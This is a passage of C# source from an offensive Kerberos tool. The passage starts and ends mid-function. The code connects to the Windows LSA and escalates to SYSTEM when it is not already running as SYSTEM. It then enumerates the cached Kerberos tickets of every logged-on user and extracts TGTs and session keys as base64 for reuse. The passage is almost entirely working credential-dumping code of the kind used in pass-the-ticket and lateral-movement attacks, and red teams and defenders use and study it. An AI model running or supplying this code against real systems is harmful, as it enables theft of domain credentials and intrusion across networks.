string altTargetDomainName = Marshal.PtrToStringUni(response.Ticket.AltTargetDomainName.Buffer, response.Ticket.AltTargetDomainName.Length / 2).Trim();
// extract the session key
Interop.KERB_ETYPE sessionKeyType = (Interop.KERB_ETYPE)response.Ticket.SessionKey.KeyType;
Int32 sessionKeyLength = response.Ticket.SessionKey.Length;
byte[] sessionKey = new byte[sessionKeyLength];
Marshal.Copy(response.Ticket.SessionKey.Value, sessionKey, 0, sessionKeyLength);
string base64SessionKey = Convert.ToBase64String(sessionKey);
DateTime keyExpirationTime = DateTime.FromFileTime(response.Ticket.KeyExpirationTime);
DateTime startTime = DateTime.FromFileTime(response.Ticket.StartTime);
DateTime endTime = DateTime.FromFileTime(response.Ticket.EndTime);
DateTime renewUntil = DateTime.FromFileTime(response.Ticket.RenewUntil);
Int64 timeSkew = response.Ticket.TimeSkew;
Int32 encodedTicketSize = response.Ticket.EncodedTicketSize;
string ticketFlags = ((Interop.TicketFlags)response.Ticket.TicketFlags).ToString();
// extract the ticket and base64 encode it
byte[] encodedTicket = new byte[encodedTicketSize];
Marshal.Copy(response.Ticket.EncodedTicket, encodedTicket, 0, encodedTicketSize);
string base64TGT = Convert.ToBase64String(encodedTicket);
if (userData != null)
{
userData.SetValue("ServiceName", serviceName);
userData.SetValue("TargetName", targetName);
userData.SetValue("ClientName", clientName);
userData.SetValue("DomainName", domainName);
userData.SetValue("TargetDomainName", targetDomainName);
userData.SetValue("AltTargetDomainName", altTargetDomainName);
userData.SetValue("SessionKeyType", sessionKeyType);
userData.SetValue("Base64SessionKey", base64SessionKey);
userData.SetValue("KeyExpirationTime", keyExpirationTime);
userData.SetValue("TicketFlags", ticketFlags);
userData.SetValue("StartTime", startTime);
userData.SetValue("EndTime", endTime);
userData.SetValue("RenewUntil", renewUntil);
userData.SetValue("TimeSkew", timeSkew);
userData.SetValue("EncodedTicketSize", encodedTicketSize);
userData.SetValue("Base64EncodedTicket", base64TGT);
}
Console.WriteLine(" ServiceName : {0}", serviceName);
Console.WriteLine(" TargetName : {0}", targetName);
Console.WriteLine(" ClientName : {0}", clientName);
Console.WriteLine(" DomainName : {0}", domainName);
Console.WriteLine(" TargetDomainName : {0}", targetDomainName);
Console.WriteLine(" AltTargetDomainName : {0}", altTargetDomainName);
Console.WriteLine(" SessionKeyType : {0}", sessionKeyType);
Console.WriteLine(" Base64SessionKey : {0}", base64SessionKey);
Console.WriteLine(" KeyExpirationTime : {0}", keyExpirationTime);
Console.WriteLine(" TicketFlags : {0}", ticketFlags);
Console.WriteLine(" StartTime : {0}", startTime);
Console.WriteLine(" EndTime : {0}", endTime);
Console.WriteLine(" RenewUntil : {0}", renewUntil);
Console.WriteLine(" TimeSkew : {0}", timeSkew);
Console.WriteLine(" EncodedTicketSize : {0}", encodedTicketSize);
Console.WriteLine(" Base64EncodedTicket :\r\n");
// display the TGT, columns of 100 chararacters
foreach (string line in Helpers.Split(base64TGT, 100))
{
Console.WriteLine(" {0}", line);
}
Console.WriteLine();
}
else
{
string errorMessage = new Win32Exception((int)winError).Message;
Console.WriteLine("\r\n [X] Error {0} calling LsaCallAuthenticationPackage() for target \"{1}\" : {2}", winError, serverName, errorMessage);
}
// clean up
Interop.LsaFreeReturnBuffer(responsePointer);
Marshal.FreeHGlobal(unmanagedAddr);
}
}
}
}
// cleanup
Interop.LsaFreeReturnBuffer(ticketsPointer);
Marshal.FreeHGlobal(tQueryPtr);
}
}
// move the pointer forward
luidPtr = (IntPtr)((long)luidPtr.ToInt64() + Marshal.SizeOf(typeof(Interop.LUID)));
// cleaup
Interop.LsaFreeReturnBuffer(sessionData);
}
Interop.LsaFreeReturnBuffer(luidPtr);
// disconnect from LSA
Interop.LsaDeregisterLogonProcess(lsaHandle);
if (!monitor)
{
Console.WriteLine("\r\n\r\n[*] Enumerated {0} total tickets", totalTicketCount);
}
Console.WriteLine("[*] Extracted {0} total tickets\r\n", extractedTicketCount);
}
catch (Exception ex)
{
Console.WriteLine("[X] Exception: {0}", ex);
}
}
public static void ListKerberosTicketsAllUsers(Interop.LUID targetLuid)
{
// lists Kerberos tickets for all users on the system (assuming elevation)
// first elevates to SYSTEM and uses LsaRegisterLogonProcessHelper connect to LSA
// then calls LsaCallAuthenticationPackage w/ a KerbQueryTicketCacheMessage message type to enumerate all cached tickets
// adapted partially from Vincent LE TOUX' work
// https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950
// and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/
// also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1
Console.WriteLine("\r\n\r\n[*] Action: List Kerberos Tickets (All Users)\r\n");
if ((ulong)targetLuid != 0)
{
Console.WriteLine("[*] Target LUID : 0x{0:x}", (ulong)targetLuid);
}
int retCode;
int authPack;
string name = "kerberos";
Interop.LSA_STRING_IN LSAString;
LSAString.Length = (ushort)name.Length;
LSAString.MaximumLength = (ushort)(name.Length + 1);
LSAString.Buffer = name;
IntPtr lsaHandle = LsaRegisterLogonProcessHelper();
// if the original call fails then it is likely we don't have SeTcbPrivilege
// to get SeTcbPrivilege we can Impersonate a NT AUTHORITY\SYSTEM Token
if (lsaHandle == IntPtr.Zero)
{
string currentName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
if (currentName == "NT AUTHORITY\\SYSTEM")
{
// if we're already SYSTEM, we have the proper privilegess to get a Handle to LSA with LsaRegisterLogonProcessHelper
lsaHandle = LsaRegisterLogonProcessHelper();
}
else
{
// elevated but not system, so gotta GetSystem() first
Helpers.GetSystem();
// should now have the proper privileges to get a Handle to LSA
lsaHandle = LsaRegisterLogonProcessHelper();
// we don't need our NT AUTHORITY\SYSTEM Token anymore so we can revert to our original token
Interop.RevertToSelf();
}
}
try
{
// obtains the unique identifier for the kerberos authentication package.
retCode = Interop.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack);
// first return all the logon sessions
DateTime systime = new DateTime(1601, 1, 1, 0, 0, 0, 0); //win32 systemdate
UInt64 count;
IntPtr luidPtr = IntPtr.Zero;
IntPtr iter = luidPtr;
uint ret = Interop.LsaEnumerateLogonSessions(out count, out luidPtr); // get an array of pointers to LUIDs
for (ulong i = 0; i < count; i++)
{
IntPtr sessionData;
ret = Interop.LsaGetLogonSessionData(luidPtr, out sessionData);
Interop.SECURITY_LOGON_SESSION_DATA data = (Interop.SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(sessionData, typeof(Interop.SECURITY_LOGON_SESSION_DATA));
// if we have a valid logon
if (data.PSiD != IntPtr.Zero)
{
// user session data
string username = Marshal.PtrToStringUni(data.Username.Buffer).Trim();
System.Security.Principal.SecurityIdentifier sid = new System.Security.Principal.SecurityIdentifier(data.PSiD);
string domain = Marshal.PtrToStringUni(data.LoginDomain.Buffer).Trim();
string authpackage = Marshal.PtrToStringUni(data.AuthenticationPackage.Buffer).Trim();
Interop.SECURITY_LOGON_TYPE logonType = (Interop.SECURITY_LOGON_TYPE)data.LogonType;
DateTime logonTime = systime.AddTicks((long)data.LoginTime);
string logonServer = Marshal.PtrToStringUni(data.LogonServer.Buffer).Trim();
string dnsDomainName = Marshal.PtrToStringUni(data.DnsDomainName.Buffer).Trim();
string upn = Marshal.PtrToStringUni(data.Upn.Buffer).Trim();
IntPtr ticketsPointer = IntPtr.Zero;
DateTime sysTime = new DateTime(1601, 1, 1, 0, 0, 0, 0);
int returnBufferLength = 0;
int protocalStatus = 0;
Interop.KERB_QUERY_TKT_CACHE_REQUEST tQuery = new Interop.KERB_QUERY_TKT_CACHE_REQUEST();
Interop.KERB_QUERY_TKT_CACHE_RESPONSE tickets = new Interop.KERB_QUERY_TKT_CACHE_RESPONSE();
Interop.KERB_TICKET_CACHE_INFO_EX ticket;
// input object for querying the ticket cache for a specific logon ID
Interop.LUID userLogonID = new Interop.LUID(data.LoginID);
tQuery.LogonId = userLogonID;
if (((ulong)targetLuid == 0) || (data.LoginID == targetLuid))
{
tQuery.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheExMessage;
// query LSA, specifying we want the ticket cache
IntPtr tQueryPtr = Marshal.AllocHGlobal(Marshal.SizeOf(tQuery));
Marshal.StructureToPtr(tQuery, tQueryPtr, false);
retCode = Interop.LsaCallAuthenticationPackage(lsaHandle, authPack, tQueryPtr, Marshal.SizeOf(tQuery), out ticketsPointer, out returnBufferLength, out protocalStatus);
if (ticketsPointer != IntPtr.Zero)
{
// parse the returned pointer into our initial KERB_QUERY_TKT_CACHE_RESPONSE structure
tickets = (Interop.KERB_QUERY_TKT_CACHE_RESPONSE)Marshal.PtrToStructure((System.IntPtr)ticketsPointer, typeof(Interop.KERB_QUERY_TKT_CACHE_RESPONSE));
int count2 = tickets.CountOfTickets;
if (count2 != 0)
{
Console.WriteLine("\r\n UserName : {0}", username);
Console.WriteLine(" Domain : {0}", domain);
Console.WriteLine(" LogonId : {0}", data.LoginID);
Console.WriteLine(" UserSID : {0}", sid.Value);
Console.WriteLine(" AuthenticationPackage : {0}", authpackage);
Console.WriteLine(" LogonType : {0}", logonType);
Console.WriteLine(" LogonTime : {0}", logonTime);
Console.WriteLine(" LogonServer : {0}", logonServer);
Console.WriteLine(" LogonServerDNSDomain : {0}", dnsDomainName);
Console.WriteLine(" UserPrincipalName : {0}", upn);
Console.WriteLine();
// get the size of the structures we're iterating over
Int32 dataSize = Marshal.SizeOf(typeof(Interop.KERB_TICKET_CACHE_INFO_EX));
for (int j = 0; j < count2; j++)
{
// iterate through the result structures
IntPtr currTicketPtr = (IntPtr)(long)((ticketsPointer.ToInt64() + (int)(8 + j * dataSize)));
// parse the new ptr to the appropriate structure
ticket = (Interop.KERB_TICKET_CACHE_INFO_EX)Marshal.PtrToStructure(currTicketPtr, typeof(Interop.KERB_TICKET_CACHE_INFO_EX));
DateTime startTime = DateTime.FromFileTime(ticket.StartTime);
DateTime endTime = DateTime.FromFileTime(ticket.EndTime);
DateTime renewTime = DateTime.FromFileTime(ticket.RenewTime);
string ticketFlags = ((Interop.TicketFlags)ticket.TicketFlags).ToString();
// extract the server name/realm and client name/realm
string serverName = Marshal.PtrToStringUni(ticket.ServerName.Buffer, ticket.ServerName.Length / 2);
string serverRealm = Marshal.PtrToStringUni(ticket.ServerRealm.Buffer, ticket.ServerRealm.Length / 2);
string clientName = Marshal.PtrToStringUni(ticket.ClientName.Buffer, ticket.ClientName.Length / 2);
string clientRealm = Marshal.PtrToStringUni(ticket.ClientRealm.Buffer, ticket.ClientRealm.Length / 2);
Console.WriteLine(" [{0:x}] - 0x{1:x} - {2}", j, (int)ticket.EncryptionType, (Interop.KERB_ETYPE)ticket.EncryptionType);
Console.WriteLine(" Start/End/MaxRenew: {0} ; {1} ; {2}", startTime, endTime, renewTime);
Console.WriteLine(" Server Name : {0} @ {1}", serverName, serverRealm);
Console.WriteLine(" Client Name : {0} @ {1}", clientName, clientRealm);
Console.WriteLine(" Flags : {0} ({1:x})", ticketFlags, ticket.TicketFlags);
Console.WriteLine();
}
}
}
// cleanup
Interop.LsaFreeReturnBuffer(ticketsPointer);
Marshal.FreeHGlobal(tQueryPtr);
}
}
// move the pointer forward
luidPtr = (IntPtr)((long)luidPtr.ToInt64() + Marshal.SizeOf(typeof(Interop.LUID)));
// cleaup
Interop.LsaFreeReturnBuffer(sessionData);
}
Interop.LsaFreeReturnBuffer(luidPtr);
// disconnect from LSA
Interop.LsaDeregisterLogonProcess(lsaHandle);
}
catch (Exception ex)
{
Console.WriteLine("[X] Exception: {0}", ex);
}
}
public static void ListKerberosTicketDataCurrentUser(string targetService)
{
// extracts Kerberos ticket data for the current user
// first uses LsaConnectUntrusted to connect and LsaCallAuthenticationPackage w/ a KerbQueryTicketCacheMessage message type
// to enumerate all cached tickets, then uses LsaCallAuthenticationPackage w/ a KerbRetrieveEncodedTicketMessage message type
// to extract the Kerberos ticket data in .kirbi format (service tickets and TGTs)
// adapted partially from Vincent LE TOUX' work
// https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950
// and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/
// also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1
Console.WriteLine("\r\n\r\n[*] Action: Dump Kerberos Ticket Data (Current User)\r\n");
Interop.LUID currentLUID = GetCurrentLUID();
Console.WriteLine("[*] Current LUID : {0}\r\n", currentLUID);
if (!String.IsNullOrEmpty(targetService))
{
Console.WriteLine("[*] Target service : {0:x}\r\n\r\n", targetService);
}
int totalTicketCount = 0;
int extractedTicketCount = 0;
string name = "kerberos";
Interop.LSA_STRING_IN LSAString;
LSAString.Length = (ushort)name.Length;
LSAString.MaximumLength = (ushort)(name.Length + 1);
LSAString.Buffer = name;
IntPtr ticketsPointer = IntPtr.Zero;
int authPack;